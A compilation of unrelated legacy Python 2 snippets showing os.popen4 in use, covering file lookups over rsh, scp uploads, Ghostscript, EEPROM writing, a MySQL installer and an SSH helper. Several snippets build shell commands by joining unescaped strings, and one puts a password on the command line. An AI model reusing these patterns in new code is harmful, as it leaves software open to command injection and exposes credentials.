Example #1
0
def find_datfile(nodename, basename, DM):
    i,o = os.popen4("rsh %s find /scratch1 -name \*%s\*DM%s\*dat"%\
                    (nodename, basename, DM))
    datfile = ''
    for line in o:
        line = line.strip()
        if line.startswith("find:"):
            line = line.join(line.split()[1:])
        if line.endswith(".dat"):
            datfile = line
    print "'%s'"%datfile
    if datfile!='' and datfile.startswith("/scratch1"):
        return datfile
    i,o = os.popen4("rsh %s find /scratch2 -name \*%s\*DM%s\*dat"%\
                    (nodename, basename, DM))
    datfile = ''
    for line in o:
        line = line.strip()
        if line.startswith("find:"):
            line = line.join(line.split()[1:])
        if line.endswith(".dat"):
            datfile = line
    print "'%s'"%datfile
    if datfile!='' and datfile.startswith("/scratch2"):
        return datfile
    return None
Example #2
0
	def __init__( self ):
		"""
			Sets the Glade file where the about window is defined and Connects the
			signals and its handlers through GladeWindow __init__
    	"""

		## Get the file with the about window
		filename = 'glade/update.ui'
		## The widget list
		widget_list = [
			'ProgressBarUpdate', 'note_update', 'TextViewUpdate'
        	    ]
		handlers = ['on_update_destroy_event', 'on_ok_update_clicked']
		
		# The top three widget
		top_window = 'update'
		
		# Starts the Glade Window
		GladeWindow.__init__(self, filename, top_window, widget_list, handlers)

		# Add a timer callback to update the value of the progress bar
		self.timer = gobject.timeout_add (50, self.progress_timeout)

   	#	self.m_oPopen = popen2.Popen3('sh ../updhrp.sh')

		if os.name=="nt":		
			self.i,self.o = os.popen4('..\updhrp.bat')
		else:
			self.i,self.o = os.popen4('sh ../updhrp.sh')

		self.widgets['note_update'].set_current_page(0)
		self.widgets['ProgressBarUpdate'].pulse()
		self.widgets['ProgressBarUpdate'].pulse()
		self.widgets['ProgressBarUpdate'].pulse()
Example #3
0
 def storbinary(self, command, fp, dummyport=None):
     remotefile = command[5:]  # my storbinary()-calls all start with 'STOR '
     tmpname = tempfile.mktemp()
     f = open(tmpname, "wb")
     f.write(fp.read())
     f.close()
     arguments = tmpname + " " + self.user + "@" + self.host + ":" + remotefile
     if os.name == "posix":
         if os.system("scp -Q " + arguments):
             raise ScpError, "scp return value is different from 0"
     else:  # 'nt'
         if havescp2:
             f, g = os.popen4("scp2.exe " + arguments, "t")
             prompt = g.read(3)
             if prompt == "You":  # are connecting to ... for the first time.
                 f.write("yes\n")
                 f.write(self.passwd + "\n")
             elif prompt == self.user[:3]:
                 f.write(self.passwd + "\n")
             else:
                 raise ScpError, "unexpected prompt from scp2.exe"
             f.close()
             g.close()
         elif havepscp:
             f, g = os.popen4("pscp.exe -pw " + self.passwd + " " + arguments, "t")
             f.close()
             g.close()
     os.remove(tmpname)
Example #4
0
    def play(self, sound_theme,  sound):
        if self.beep:
            gtk.gdk.beep()
            return
        
        for theme in (sound_theme, 'default'):
            soundPath = PATH.SOUNDS_PATH + os.sep + sound_theme + os.sep + \
                sound + ".wav"
            
            if os.path.exists(soundPath):
                break
            else:
                soundPath = ''

        if not soundPath:
            return
        
        if os.name == "nt":
            winsound.PlaySound(soundPath, 
                winsound.SND_FILENAME | winsound.SND_ASYNC)
        elif os.name == "posix":
            if self.canGstreamer:
                loc = "file://" + soundPath
                self.player.set_property('uri', loc)
                self.player.set_state(gst.STATE_PLAYING)    
            else:
                os.popen4(self.command + " " + soundPath)
Example #5
0
def convert_bounding_box(inname, outname):
    fid = open(inname,'r')
    oldfile = fid.read()
    fid.close()
    gsargs = '-dNOPAUSE -dBATCH -sDEVICE=bbox'
    # use cygwin gs if present
    cmd = 'gs %s %s' % (gsargs, inname)
    w, r = os.popen4(cmd)
    w.close()
    result = r.read()
    r.close()
    res = bbox_re.search(result)
    if res is None and sys.platform=='win32':
        cmd = 'gswin32c %s %s' % (gsargs, inname)
        w, r = os.popen4(cmd)
        w.close()
        result = r.read()
        r.close()
        res = bbox_re.search(result)
    if res is None:
        sys.stderr.write('To fix bounding box install ghostscript in the PATH')
        return False
    bbox = map(int,res.groups())
    newstr = bbox2_re.sub("BoundingBox: %d %d %d %d" % tuple(bbox), oldfile)
    fid = open(outname, 'wb')
    fid.write(newstr)
    fid.close()
    return True
Example #6
0
 def play(self, sound_theme,  sound):
     if self.beep and not self.isMac:
         gtk.gdk.beep()
         return
     for theme in (sound_theme, 'default'):
         soundPath = os.path.join(paths.SOUNDS_PATH, sound_theme,
             sound + ".wav")
         if os.path.exists(soundPath):
             break
         else:
             soundPath = ''
     if not soundPath:
         return
     if os.name == "nt":
         winsound.PlaySound(soundPath, 
             winsound.SND_FILENAME | winsound.SND_ASYNC)
     elif os.name == "posix":
         if self.canGstreamer:
             loc = "file://" + soundPath
             self.player.set_property('uri', loc)
             self.player.set_state(gst.STATE_PLAYING)
         elif self.isMac:
             macsound = NSSound.alloc()
             macsound.initWithContentsOfFile_byReference_( \
                 soundPath, True)
             macsound.play()
             while macsound.isPlaying():
                 pass
         else:
             os.popen4(self.command + " " + soundPath)
Example #7
0
def hasfloat(path,insideFileSupport=False):
	usesFloat = False
	if os.path.exists('/usr/bin/mipsel-linux-gnu-objdump'):
		prog = 'mipsel-linux-gnu-objdump'
	else:
		prog = 'objdump'
	if insideFileSupport and isAR(path):
		print "* Need to look inside ", path
		searchpath = arExtract(path)
		filelist = glob.glob(searchpath + "/*")
		for f in filelist:
			print "* Checking inside %s: %s" % (path, f)
			cmdstr = "%s -d %s | grep '$f'" % (prog, f)
			put, get = os.popen4(cmdstr)
			output = get.readlines()
			if len(output) > 0:
				usesFloat = True
			else:
				usesFloat = False
		shutil.rmtree(searchpath)
		return usesFloat
	else:
		cmdstr = "%s -d '%s' | grep '$f'" % (prog, path)                                                                                                   
		put, get = os.popen4(cmdstr)
		output = get.readlines()
		if len(output) > 0:
			return True
		else:
			return False
def unzip_epa_data():
    for year in EPA_URLS:
        filename = './bin/%i.zip' % year[1]
        folder = './bin/%i' % year[1]
        print 'Unzipping %s into %s...' % (filename, folder)
        if not os.path.isdir(folder):
            os.mkdir(folder)
        os.popen4('unzip %s -d %s' % (filename, folder))
Example #9
0
 def compare_md5_key(self):
     """ Compare 2 files wih md5 method """
     in1, in2 = os.popen4('md5sum -b "'+self.source+'"')
     out1, out2 = os.popen4('md5sum -b "'+self.dest+'"')
     for line in in2.readlines():
         line1 = line.split('*')[0]
     for line in out2.readlines():
         line2 = line.split('*')[0]
     return line1 == line2
Example #10
0
def get_datfile_len(nodename, datfile):
    if nodename:
        i,o = os.popen4("rsh %s ls -l %s | awk '{ print $5 };'"%(nodename, datfile))
    else:
        i,o = os.popen4("ls -l %s | awk '{ print $5 };'"%(datfile))
    filelen = o.readline()
    if filelen!='':
        return int(filelen)/4
    return None
Example #11
0
    def test_os_popen4(self):
        if os.name == 'posix':
            w, r = os.popen4([self.cmd])
            self.validate_output(self.teststr, self.expected, r, w)

            w, r = os.popen4(["echo", self.teststr])
            got = r.read()
            self.assertEquals(got, self.teststr + "\n")

        w, r = os.popen4(self.cmd)
        self.validate_output(self.teststr, self.expected, r, w)
Example #12
0
    def read_eeprom_content(self):
        # Read the EEPROM backplane
        dummy, output = popen4(self.eeprom_read)
        output = output.read().strip()

        #Make sure there was no error
        i = 0
        err = False
        while i < 5:
            if None == search(compile("Fru Size [\s]+: [\d]+ bytes[\s]+Done"), output):
                print "Could not read the EEPROM data"
                command = '/bin/rm -f %s' % self.ifile
                dummy, output = popen4(command)
                i += 1
                err = True
                print "Could not read EEPROM data, retrying"
                sleep(5)
            else:
                if None != search(compile("FRU Read failed"), output):
                    #retry as likely ipmitool timed out
                    print "Probably ipmitool timeout, retrying"
                    i += 1
                    err = True
                    sleep(5)
                else:
                    err = False
                    break

        if err:
            print "Could not read EEPROM contents, exiting"
            return 1

        f = open(self.ifile, 'rb')
        self.orig_line = f.readline()
        file_len = len(self.orig_line)
        # Naming mitac section, though it may be inclusive of RVBD section as well
        count = 0
        # Need to find the length of the mitac section as
        # Note that its likely that the riverbed string is already
        # present in the EEPROM. What this does is to read the ascii chars
        # in the range 32-128, After the mitac and RVBD section, the file is full of junk chars
        for char in self.orig_line:
            decchar = ord(char)
            if decchar > 31 and decchar < 128:
                self.mitac_len = count

            count += 1

        f.close()

        # clear out the file
        command = '/bin/rm -f %s' % self.ifile
        dummy, output = popen4(command)
        return 0
Example #13
0
 def doctest_execute(self, user_code, verbose):
     '''Creates temporary python module to be tested and tests it.'''
     tmp_filename = os.path.join(TMP_DIR, '_doctest_file.py')
     f = open(tmp_filename, 'w')
     f.write(user_code)
     f.close()
     if verbose:
         f_in, f_out = os.popen4("python %s -v"%tmp_filename)
     else:
         f_in, f_out = os.popen4("python %s"%tmp_filename)
     for line in f_out.readlines():
         print line,
Example #14
0
def get_video_infos(vidpath, tool='mplayer'):
    """Gets video information using `ffmpeg` or `mplayer`.

    Returns
    -------
    res: dict
        Dictionary containing video information:
        {'duration', 'start_time', 'fps', 'img_size'}.

    """
    res = {}
    
    if tool == 'ffmpeg':
        # Use ffmpeg to check FPS.
        cmd = "ffmpeg -i \"%s\"" % vidpath
        res['start_time'] = 0.0
        for line in os.popen4(cmd,"r")[1]:
            p = re.search( " Duration: ([0-9:.N/A]+)", line )
            if p: res['duration'] = hms_to_s(p.group(1))
            
            p = re.search( " start: ([0-9.]+)", line)
            if p: res['start_time'] = float(p.group(1))
            
            p = re.search( "Stream .*: Video:.* (\d+)x(\d+)", line )
            if p: 
                assert 'img_size' not in res, "error: too many video streams for video %s" % vidpath
                res['img_size'] = (int(p.group(1)),int(p.group(2)))
                p = re.search( "([0-9.k]+) fps", line )
                if p: res['fps'] = float(p.group(1).replace('k','000'))
                else:
                    p = re.search( "([0-9.k]+) tbr", line )
                    if p: res['fps'] = float(p.group(1).replace('k','000'))
            if len(res)>=4: break
    
    elif tool in ('mplayer','mencoder'):
        cmd = "mplayer -identify -vo null -ao null -frames 0 \"%s\" 2> /dev/null" % vidpath
        
        w = h = 0
        for line in os.popen4(cmd,"r")[1]:
            fields = line.split("=")
            if fields[0] == "ID_VIDEO_WIDTH": w=int(fields[1])
            if fields[0] == "ID_VIDEO_HEIGHT": h=int(fields[1])
            if fields[0] == "ID_VIDEO_FPS": res['fps']=float(fields[1])
            if fields[0] == "ID_LENGTH": res['duration']=float(fields[1])
            if fields[0] == "ID_START_TIME": res['start_time']=float(fields[1])
        if w and h: res['img_size'] = (w, h)
        
    else: 
        assert False, 'Error: Unknown tool %s.' % tool
    
    assert len(res) == 4, "Error: no information for video '%s' (res=%s)" % (vidpath,str(res))

    return res
Example #15
0
def checkdep_ghostscript():
    flag = False
    if sys.platform == 'win32':
        stdin, stdout = os.popen4('gswin32c -v')
        if 'Ghostscript' in stdout.read(): flag = True
    else:
        stdin, stdout = os.popen4('gs -v')
        if 'Ghostscript' in stdout.read(): flag = True
    if flag: return True
    else:
        verbose.report('Ghostscript not found!\n\
Please install a recent version of ghostscript \n\
(gnu-ghostscript-8.16 or later suggested)\n', 'helpful')
        return False
Example #16
0
def server(URL, ip_address):
	m = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	m.bind(('130.233.158.164', 6001))
	client=(ip_address, 6001)

	try:
		      data=URL
		      subprocess.call(["youtube-dl", data])
		      command='youtube-dl --get-filename '+'"'+data+'"'
		      res=os.system(command)
		      if res==0:
		            #Get file name here
		            fin, fout = os.popen4(command)              
		            filename=fout.read()
		            
		            #Open file and start transmitting
		            filename=filename.replace("\n", "")
		            m.sendto(filename, client)
		            vid = open (filename, 'r')
		            while True:
		                chunk = vid.readline(1024)
		                if not chunk: 
		                    m.sendto("done", client)
		                    break  # EOF
		                m.sendto(chunk, client)
		            vid.close()
		            
		            #Logic to check if the entire data has been transmitted
		            # Receives MD5 from the client and checks it with the original to see it if matches or not
		            try:
		            	result1, addr = m.recvfrom(1024)
		            	result1=str(result1)
		            	command='md5sum /home/comlab/Desktop/EuProject/'+str(filename)
		            	os.system(command)
		            	fin, fout = os.popen4(command)
		            	result2=fout.read()
		            	result2=result2.replace("\n", "")
		            	result2=result2.split()
		            	result2=result2[0]
		            	result2=str(result2)
		            	if (result1==result2):
		            		print "Data sent successfully"            
		            	else:
		            		print "Partial data transferred"
		            except:
		            	pass
		            m.close()
		            return 0
	except:
		  return 1
Example #17
0
def installDB(schemaLocation,dbName,socketFileLocation,portNr,host,installUser,dbType='mysql',replace=True ):

   if dbType=='oracle':
       msg="""
This install script currently only works with mysql. For oracle 
run The sqlplus application and import the schema 
(e.g. @ProdMgrDB.ora). To delete the schema do: 
@ProdMgrDBDelete.ora. You can find the schemas most likely 
on this location: %s """ %(schemaLocation)
       print(msg)
       sys.exit(1)

   updateData="--user="******" --password="******""):
      updateData+="  --socket="+socketFileLocation
   else:
      choice=raw_input('\nYou will be using ports and hosts settings instead of \n'+\
                       'sockets. Are you sure you want to use this to connect \n'+\
                       'to a database as it is a potential security risk? (Y/n)\n ')
      if choice=='Y':
          updateData+="  --port="+portNr+"  --host="+host
      else:
          sys.exit(1)
   
   # install schema.
   try:
      y=''
      if replace:
          stdin,stdout=os.popen4('mysql '+updateData+' --exec \'DROP DATABASE IF EXISTS '+dbName+';\'')
          y+=str(stdout.read())
          stdin,stdout=os.popen4('mysql '+updateData+' --exec \'CREATE DATABASE '+dbName+';\'')
          y+=str(stdout.read())
     
      stdin,stdout=os.popen4('mysql '+updateData+' '+dbName+' < '+schemaLocation)
      y+=str(stdout.read())
      if y!='':
          raise Exception('ERROR',str(y))
      print('')
      if replace:
          print('Created Database: '+dbName+'\n')
      else:
          print('Augmented Database: '+dbName)
   except Exception,ex:
      print('Could not proceed. Perhaps due to one of the following reasons: ')
      print('-You do not have permission to create a new database.')
      print('Check your SQL permissions with your database administrator')
      print('-Connecting through a port (not socket), but the firewall is blocking it')
      print('-The wrong host name')
      raise
Example #18
0
def parse_file(fname):

	# Call objdump on the file to get the disassembled output

	objin, objout = os.popen4("arm-none-eabi-objdump -d -j.text " + fname)
	lines = objout.read().split('\n')
	li = iter(lines)
	fs = {}

	while True:
		try:
			f = parse_function(li)
			if f is None:
				continue
			fs[f.name] = f
		except StopIteration:
			break

	# Wire up function pointers
	for k, v in fs.iteritems():
		if "_FPV_" not in k:
			continue
		src, suffix = k.split("_FPV_")
		if "FPA_" + suffix not in fs:
			print "WARNING: FPA_%s not found" % (suffix, )
			continue

		fs["FPA_" + suffix].children.add(k)

	# Look for setup and mainloop initializers
	iin, iout = os.popen4("grep -Irh ^INITIALIZER .")
	inits = [ t.split('(', 1)[1].strip(' );').split(',')
                  for t in iout.read().split('\n') if ('(' in t) ]
	for group, val in inits:
		group = group.strip(' ')
		val = val.strip(' ')

		if val not in fs:
			print "WARNING: non-linked initializer %s" % (val, )
			continue

		if group in [ "hardware", "protocol" ]:
			fs["FPA_init"].children.add(val)
		elif group == "poll":
			fs["main"].children.add(val)
		else:
			print "WARNING: group %s unknown" % (group, )

	return fs
Example #19
0
def BuildHelix(sequence,filename="tm.pdb"):
	#ln the opls ff here
	os.system("ln -s " + HAConf.sidekick_location + "/gromacs/share/gromacs/top/oplsaa.ff `pwd`" )
	os.system("ln -s " + HAConf.sidekick_location + "/gromacs/share/gromacs/top/residuetypes.dat")
	used_atoms = copy.deepcopy(atoms)
	atom_index = 0
	residue_index = 0
	#First I build a raw, suboptimal helix and write that out
	initial_structure = open("initial_helix.pdb","w")
	print >> initial_structure, "TITLE     GRowing Old MAkes el Chrono Sweat\nREMARK    THIS IS A SIMULATION BOX\nCRYST1  100.000  100.000  100.000  90.00  90.00  90.00 P 1           1\nMODEL        1\n"

	for residue in sequence:
		residue_index += 1
		for atom in residue_atoms[residue]:
			atom_index += 1
			print >> initial_structure, "ATOM  %5d  %-4s%3s%6d    %8.3f%8.3f%8.3f  1.00  0.00" % (atom_index, used_atoms[atom][3], fasta_converter[residue], residue_index, used_atoms[atom][0], used_atoms[atom][1], used_atoms[atom][2] )
		#update atom positions by multiplication with rotation matrix
		atom_names = used_atoms.keys()
		for name in atom_names:
			used_atoms[name][0:3] = CartesianToolkit.vecadd(used_atoms[name][0:3],translation)
			#used_atoms[name] = CartesianToolkit.rotate_by_matrix(used_atoms[name],rotation)
			used_atoms[name][0:3] = CartesianToolkit.transform_by_rot_trans_matrix(used_atoms[name][0:3],transform)
	initial_structure.close()
	#Now clear up any clashes by 100 steps of steepest descent in gromacs
	mdp_file = open("quick_sd.mdp","w")
	print >> mdp_file, "integrator = steep\nnsteps = 100"
	mdp_file.close()
	#[pdb2gmx_stdin, pdb2gmx_stout_sterr] = os.popen4(HAConf.configuration['gromacs_location'] + "pdb2gmx -f initial_helix.pdb -p initial_helix -o initial_helix")
	#Select gmx53a6
	#print >> pdb2gmx_stdin, "9"
	#print >> pdb2gmx_stdin, "3"
	#pdb2gmx_stdin.flush()
	#for line in pdb2gmx_stout_sterr: pass
	GromacsInterface.pdb2gmx(logfile="pdb2gmx.log")
	GromacsInterface.grompp(logfile="grompp.log")
	#[grompp_stdin, grompp_stout_sterr] = os.popen4(HAConf.configuration['gromacs_location'] + "grompp -f quick_sd.mdp -c initial_helix -p initial_helix -o helix_em")
	#for line in grompp_stout_sterr: pass
	#os.system(HAConf.configuration['gromacs_location'] + "grompp -f quick_sd.mdp -c initial_helix -p initial_helix -o helix_em")
	#for line in grompp_stout_sterr: print
	GromacsInterface.mdrun()
	#[mdrun_stdin, mdrun_stout_sterr] = os.popen4(HAConf.configuration['gromacs_location'] + "mdrun -deffnm helix_em")
	#for line in mdrun_stout_sterr: pass
	if os.path.exists("helix_em.gro"):
		[editconf_stdin, editconf_stout_sterr] = os.popen4(HAConf.configuration['gromacs_location'] + "editconf -f helix_em.gro -o " + filename)
	else:
		print "Problem in atomistic helix generation. Continuing nevertheless."
		[editconf_stdin, editconf_stout_sterr] = os.popen4(HAConf.configuration['gromacs_location'] + "editconf -f helix_em.tpr -o " + filename)
	for line in editconf_stout_sterr: pass
	print "Generated alpha helix with", sequence
Example #20
0
def load_var_to_file(var):
    path = "/tmp/"
    fq_file = os.path.join(path, var)
    content = os.environ[var]
    if not os.path.exists(path):
        os.mkdir(path)
    if not os.path.exists(fq_file):
        f = open(fq_file, 'w')
        f.write(content)
        f.close()
        if sys.platform == "darwin":
            os.popen4("echo $(cat %s) > %s" % (fq_file, fq_file))
        else:
            os.popen4("echo -e $(cat %s) > %s" % (fq_file, fq_file))
    return fq_file
Example #21
0
def write_eeprom_content(mfserial, orig_line, rvbd_sec, replace=False):
    # Write the binary file with RVBD serial back into EEPROM
    global TMP_OFILE

    output_str = ''
    count = 0

    replace_str = "%s%s" % (rvbd_sec, mfserial)
    output_str += replace_str
    count += len(replace_str)

    # Final padding
    for n in range(len(orig_line) - count):
        output_str += chr(255)

    f = open(TMP_OFILE, 'wb')
    f.write(output_str)
    f.close()
    
    i = 0
    err = False
    while i < 5:
        # Time to write it back to the EEPROM image
        dummy, output = popen4(EEPROM_WRITE)
        output = output.read().strip()
        if None == search(compile("Size to Write[\s]+: [\d]+ bytes$"), output):
            print "Could not write the EEPROM data, retrying"
            i += 1
            sleep (5)
            err = True
        else:
            if None != search(compile("FRU Read failed"), output):
                #retry as likely ipmitool timed out
                print "ipmitool timeout encountered, retrying"
                i += 1
                sleep (5)
                err = True
            else:
                err = False
                break

    if err:
        print "Cannot write back to the EEPROM, exiting"
        sys.exit(1)

    # clear out the files
    command = '/bin/rm -f %s' % TMP_OFILE
    dummy, output = popen4(command)
    def testProcAddress(self):
        """Test that system maps 'raise' procedure of 'MSVCR71' module
        at the same address for all python processes.

        XXX This test should be more complete, as an example test if
        the address is the same for process under a different user
        account.
        """
        
        # get the address in our address space
        mod = win32api.GetModuleHandle("MSVCR71.dll")
        address = win32api.GetProcAddress(mod, "raise")
        
        cmd = "import win32api; " \
            "mod = win32api.GetModuleHandle('MSVCR71.dll'); " \
            "print win32api.GetProcAddress(mod, 'raise')"

        # run several python processes
        for i in range(10):
            stdin, stdout = os.popen4("python -u -")
            stdin.write(cmd)
            stdin.close()
            remoteAddress = int(stdout.read())

            self.failUnlessEqual(address, remoteAddress)
Example #23
0
def command(com, output = "true"):
    """
    Run command
    """

    # XXX
    # There is a piece of code in popen2.py:
    #
    #     def _run_child(self, cmd):
    #         if type(cmd) == type(''):
    #              cmd = ['/bin/sh', '-c', cmd]
    #
    # This is presumably trying to differentiate <type 'string'> from
    # <type 'list'>. Unfortunately if "cmd" is of type <type 'unicode'>
    # the code believes that a <type 'list'> has been passed in and the
    # code fails.
    #
    # So convert <type 'unicode'> to <type 'string'>
    if repr(type(com)) == "<type 'unicode'>":
	com = com.encode("ascii")    

    stdin, stdout = os.popen4(com)
    stdin.close()
    while 1:
	lines = stdout.readline()
	if not lines:
	    break
	if "true" == output:
	    print lines,
    stdout.close()
Example #24
0
def run(cmd, options):
    """Run command in a sub-process, capturing the output (stdout and stderr).
    Return the exist code, and output."""
    # TODO: Use subprocess.Popen if we're running on Python 2.4
    if os.name == 'nt' or sys.platform.startswith('java'):
        tochild, fromchild = os.popen4(cmd)
        tochild.close()
        output = fromchild.read()
        ret = fromchild.close()
        if ret == None:
            ret = 0
    else:
        proc = Popen4(cmd)
        try:
            output = ''
            proc.tochild.close()
            output = proc.fromchild.read()
            ret = proc.wait()
            if os.WIFEXITED(ret):
                ret = os.WEXITSTATUS(ret)
        except Timeout:
            vlog('# Process %d timed out - killing it' % proc.pid)
            os.kill(proc.pid, signal.SIGTERM)
            ret = proc.wait()
            if ret == 0:
                ret = signal.SIGTERM << 8
            output += ("\n### Abort: timeout after %d seconds.\n"
                       % options.timeout)
    return ret, splitnewlines(output)
Example #25
0
    def run_ssh_command(self, command, admin=False):
        '''
        Run the specified command. If there is an error return None. If not,
        return the response.
        '''
        if admin is True and self.__user != 'root':
            if self.sudo is True:
                command = 'sudo ' + command
            else:
                print '[-] Admin command failed, user is not root and cannot sudo.'
                return None

        cmd = 'ssh -i {0} {1}@{2} "{3}"'.format(self.__key,
                self.__user, self.__host, command)

        output = os.popen4(cmd)
        resp = output[1].read()

        # Check for common errors and return None
        if resp.find('Permission denied') != -1:
            return None
        if resp.find('not a regular file') != -1:
            return None
        if resp.find('Please login as the user') != -1:
            return None
        if resp.find('Could not resolve hostname') != -1:
            return None
        if resp.find('usage: ssh') != -1:
            return None
        if resp.find('No such file or directory') != -1:
            return None

        # If no errors then return output of command
        return resp
Example #26
0
  def Run(self):
    """Run it and collect output.

    Returns:
      1 (true)   If everything went well.
      0 (false)  If there were problems.
    """
    if not self.executable:
      logging.error('Could not locate "%s"' % self.long_name)
      return 0

    finfo = os.stat(self.executable)
    self.date = time.localtime(finfo[stat.ST_MTIME])

    logging.info('Running: %s %s </dev/null 2>&1'
                 % (self.executable, FLAGS.help_flag))
    # --help output is often routed to stderr, so we combine with stdout.
    # Re-direct stdin to /dev/null to encourage programs that
    # don't understand --help to exit.
    (child_stdin, child_stdout_and_stderr) = os.popen4(
      [self.executable, FLAGS.help_flag])
    child_stdin.close()       # '</dev/null'
    self.output = child_stdout_and_stderr.readlines()
    child_stdout_and_stderr.close()
    if len(self.output) < _MIN_VALID_USAGE_MSG:
      logging.error('Error: "%s %s" returned only %d lines: %s'
                    % (self.name, FLAGS.help_flag,
                       len(self.output), self.output))
      return 0
    return 1
Example #27
0
def run_msgfmt(pofile):
    """ pofile is the name of the po file.
 The function runs msgfmt on it and returns corresponding php code.
"""
    if not pofile.endswith('.po'):
        print >> sys.stderr, "%s is not a po file" % pofile
        sys.exit(1)

    dirname = os.path.dirname(pofile)
    gmofile = pofile.replace('.po', '.gmo')

    header = read_pofile(pofile)
    charset= header['Content-Type'].split('charset=')[1]

    # po file properties
    prop = {}
    prop["langcode"] = os.path.basename(pofile)[:-3]
    prop["date"] = header['PO-Revision-Date'].split()[0]
    prop["email"] = header['Last-Translator'].split('<')[1][:-1]
    prop["email"] = prop["email"].replace("@", " () ")
    prop["email"] = prop["email"].replace(".", " ! ")
    translator = header['Last-Translator'].split('<')[0].strip()
    try:
        prop["translator"] = translator.decode(charset).encode('ascii','xmlcharrefreplace')
    except LookupError:
        prop["translator"] = translator

    p_in, p_out = os.popen4("msgfmt --statistics -o %s %s" % (gmofile, pofile))
    extract_number(p_out.readline(),
                   ('translated', 'fuzzy', 'untranslated'),
                   prop)
    return """
array ( 'langcode' => '%(langcode)s', "date" => "%(date)s",
"msg_tr" => %(translated)d, "msg_fu" => %(fuzzy)d, "msg_nt" => %(untranslated)d,
"translator" => "%(translator)s", "email" => "%(email)s")""" % prop
Example #28
0
 def __init__(self,
       command,
       stdin_lines=None,
       join_stdout_stderr=False,
       stdout_splitlines=True,
       bufsize=-1):
   self.command = command
   self.join_stdout_stderr = join_stdout_stderr
   if (join_stdout_stderr):
     child_stdin, child_stdout = os.popen4(command, "t", bufsize)
     child_stderr = None
   else:
     child_stdin, child_stdout, child_stderr = os.popen3(command,"t",bufsize)
   if (stdin_lines is not None):
     if (not isinstance(stdin_lines, str)):
       stdin_lines = os.linesep.join(stdin_lines)
       if (len(stdin_lines) != 0):
         stdin_lines += os.linesep
     child_stdin.write(stdin_lines)
   child_stdin.close()
   if (stdout_splitlines):
     self.stdout_buffer = None
     self.stdout_lines = child_stdout.read().splitlines()
   else:
     self.stdout_buffer = child_stdout.read()
     self.stdout_lines = None
   if (child_stderr is not None):
     self.stderr_lines = child_stderr.read().splitlines()
   else:
     self.stderr_lines = []
   child_stdout.close()
   if (child_stderr is not None):
     child_stderr.close()
   self.return_code = None
Example #29
0
 def get_table_data(self):
     stdouterr = os.popen4("dir c:\\")[1].read()
     lines = stdouterr.splitlines()
     lines = lines[5:]
     lines = lines[:-2]
     self.tabledata = [re.split(r"\s+", line, 4)
                  for line in lines]
Example #30
0
    def _get_svn_revision(self, path):
        """Return path's SVN revision number.
        """
        import os, sys, re

        revision = None
        m = None
        try:
            sin, sout = os.popen4("svnversion")
            m = re.match(r"(?P<revision>\d+)", sout.read())
        except:
            pass
        if m:
            revision = int(m.group("revision"))
            return revision
        if sys.platform == "win32" and os.environ.get("SVN_ASP_DOT_NET_HACK", None):
            entries = os.path.join(path, "_svn", "entries")
        else:
            entries = os.path.join(path, ".svn", "entries")
        if os.path.isfile(entries):
            f = open(entries)
            fstr = f.read()
            f.close()
            if fstr[:5] == "<?xml":  # pre 1.4
                m = re.search(r'revision="(?P<revision>\d+)"', fstr)
                if m:
                    revision = int(m.group("revision"))
            else:  # non-xml entries file --- check to be sure that
                m = re.search(r"dir[\n\r]+(?P<revision>\d+)", fstr)
                if m:
                    revision = int(m.group("revision"))
        return revision
Example #31
0
def train(lang):
    """Generates normproto, inttemp, Microfeat, unicharset and pffmtable"""
    output_dir=lang+"."+"training_data"
    dir=lang+"."+"images"+"/"
    
    if(os.path.exists(output_dir)):
        pass
    else:
        os.mkdir(output_dir)
   # os.chdir(output_dir)
    print "in train"
    image='bigimage.tif'
    box='bigimage.box'
    exec_string1='tesseract '+dir+image+' junk nobatch box.train'
    print exec_string1
    qpipe = os.popen4(exec_string1) #This returns a list.  The second list element is a file object from which you can read the command output.
    o=qpipe[1].readlines() 
    pos=str(o).find('FAILURE') #Look for the word "FAILURE" in tesseract-ocr trainer output.
    print str(o)
    print " ok ",
            
                       
    #now begins clustering
    
    exec_string2="mftraining"
    exec_string3="cntraining"
    
    #os.chdir(lang+".training_data")
    
    for t in os.walk(dir):
        for f in t[2]:
            if(f.split('.')[1]=="tr"):
                exec_string2+=" "+dir+f+" "
                exec_string3+=" "+dir+f+" "
    qpipe2=os.popen4(exec_string2)
    qpipe3=os.popen4(exec_string3)
    #clustering ends
    
    #unicharset_extractor begins
    exec_string4="unicharset_extractor"
    for t in os.walk(dir):
        for f in t[2]:
            if(f.split('.')[1]=="box"):
                exec_string4+=" "+dir+f
                print exec_string4
    qpipe4=os.popen4(exec_string4)
    #unicharset_extractor ends
    
    #Now rename the 5 training files so it can be readily used with tesseract
    if(os.path.exists("Microfeat") is True):
        os.rename("Microfeat",lang+".Microfeat")
        shutil.move(lang+".Microfeat",lang+".training_data/")
        print "Microfeat renamed and moved"
        
    if(os.path.exists("inttemp") is True):
        os.rename("inttemp",lang+".inttemp")
        shutil.move(lang+".inttemp",lang+".training_data/")
        print "inttemp renamed and moved"
        
    if(os.path.exists("normproto") is True):
        os.rename("normproto",lang+".normproto")
        shutil.move(lang+".normproto",lang+".training_data/")
        print "normproto renamed and moved"
        
    if(os.path.exists("pffmtable") is True):
        os.rename("pffmtable",lang+".pffmtable")
        shutil.move(lang+".pffmtable",lang+".training_data/")
        print "pffmtable renamed and moved"
        
    if(os.path.exists("unicharset") is True):
        os.rename("unicharset",lang+".unicharset")
        shutil.move(lang+".unicharset",lang+".training_data/")
        print "unicharset renamed and moved"
Example #32
0
 def popen4(cmd, bufsize=-1, mode='t'):
     """Execute the shell command 'cmd' in a sub-process.  If 'bufsize' is
     specified, it sets the buffer size for the I/O pipes.  The file objects
     (child_stdout_stderr, child_stdin) are returned."""
     w, r = os.popen4(cmd, mode, bufsize)
     return r, w
Example #33
0
def main():
    if '--festival-dictionary-to-espeak' in sys.argv:
        try: festival_location=sys.argv[sys.argv.index('--festival-dictionary-to-espeak')+1]
        except IndexError:
            sys.stderr.write("Error: --festival-dictionary-to-espeak must be followed by the location of the festival OALD file (see help text)\n") ; sys.exit(1)
        try: open(festival_location)
        except:
            sys.stderr.write("Error: The specified OALD location '"+festival_location+"' could not be opened\n") ; sys.exit(1)
        try: open("en_list")
        except:
            sys.stderr.write("Error: en_list could not be opened (did you remember to cd to the eSpeak dictsource directory first?\n") ; sys.exit(1)
        convert_system_festival_dictionary_to_espeak(festival_location,not '--without-check' in sys.argv,not os.system("test -e ~/.festivalrc"))
    elif '--try' in sys.argv:
        i=sys.argv.index('--try')
        espeak = convert(' '.join(sys.argv[i+2:]),sys.argv[i+1],'espeak')
